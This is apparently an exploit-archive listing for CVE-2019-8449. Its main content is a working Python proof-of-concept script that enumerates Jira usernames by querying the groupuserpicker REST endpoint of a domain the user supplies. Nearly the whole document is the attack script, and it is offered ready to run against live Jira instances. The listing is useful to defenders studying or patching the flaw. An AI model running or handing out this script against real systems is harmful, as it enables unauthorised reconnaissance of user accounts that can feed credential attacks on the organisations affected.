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Jira 8.3.4 Information Disclosure

Jira 8.3.4 Information Disclosure
Posted Feb 2, 2020
Authored by Mufeed VH

Jira version 8.3.4 suffers from a username enumeration information disclosure vulnerability.

tags | exploit, info disclosure
advisories | CVE-2019-8449
MD5 | 3cc6ad6b7584b810553e95e611e2c356

Jira 8.3.4 Information Disclosure

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# Exploit Title: Jira 8.3.4 - Information Disclosure (Username Enumeration)
# Date: 2019-09-11
# Exploit Author: Mufeed VH
# Vendor Homepage: https://www.atlassian.com/
# Software Link: https://www.atlassian.com/software/jira
# Version: 8.3.4
# Tested on: Pop!_OS 19.10
# CVE : CVE-2019-8449

# CVE-2019-8449 Exploit for Jira v2.1 - v8.3.4
# DETAILS :: https://www.cvedetails.com/cve/CVE-2019-8449/
# CONFIRM :: https://jira.atlassian.com/browse/JRASERVER-69796

#!/usr/bin/env python


__author__ = "Mufeed VH (@mufeedvh)"

import os
import requests


class CVE_2019_8449:
def ask_for_domain(self):
domain = raw_input("[>] Enter the domain of Jira instance: => ")
if domain == "":
print("\n[-] ERROR: domain is required\n")
self.ask_for_domain()
self.url = "https://{}/rest/api/latest/groupuserpicker".format(domain)

def ask_for_query(self):
self.query = raw_input("[>] Enter search query: [required] (Example: admin) => ")
if self.query == "":
print("\n[-] ERROR: The query parameter is required\n")
self.ask_for_query()

def exploit(self):
self.ask_for_domain()
self.ask_for_query()

maxResults = raw_input("\n[>] Enter the number of maximum results to fetch: (50) => ")
showAvatar = raw_input("\n[>] Enter 'true' or 'false' whether to show Avatar of the user or not: (false) => ")
fieldId = raw_input("\n[>] Enter the fieldId to fetch: => ")
projectId = raw_input("\n[>] Enter the projectId to fetch: => ")
issueTypeId = raw_input("\n[>] Enter the issueTypeId to fetch: => ")
avatarSize = raw_input("\n[>] Enter the size of Avatar to fetch: (xsmall) => ")
caseInsensitive = raw_input("\n[>] Enter 'true' or 'false' whether to show results case insensitive or not: (false) => ")
excludeConnectAddons = raw_input("\n[>] Indicates whether Connect app users and groups should be excluded from the search results. If an invalid value is provided, the default value is used: (false) => ")

params = {
'query': self.query,
'maxResults': maxResults,
'showAvatar': showAvatar,
'fieldId': fieldId,
'projectId': projectId,
'issueTypeId': issueTypeId,
'avatarSize': avatarSize,
'caseInsensitive': caseInsensitive,
'excludeConnectAddons': excludeConnectAddons
}

send_it = requests.get(url = self.url, params = params)

try:
response = send_it.json()
except:
print("\n[-] ERROR: Something went wrong, the request didn't respond with a JSON result.")
print("[-] INFO: It is likely that the domain you've entered is wrong or this Jira instance is not exploitable.")
print("[-] INFO: Try visting the target endpoint manually ({}) and confirm the endpoint is accessible.".format(self.url))
quit()

print("\n<========== RESPONSE ==========>\n")
print(response)
print("\n<==============================>\n")

if __name__ == '__main__':
os.system('cls' if os.name == 'nt' else 'clear')

print('''
================================================
| |
| CVE-2019-8449 Exploit for Jira v2.1 - v8.3.4 |
| Proof of Concept By: Mufeed VH [@mufeedvh] |
| |
================================================
''')

CVE_2019_8449().exploit()
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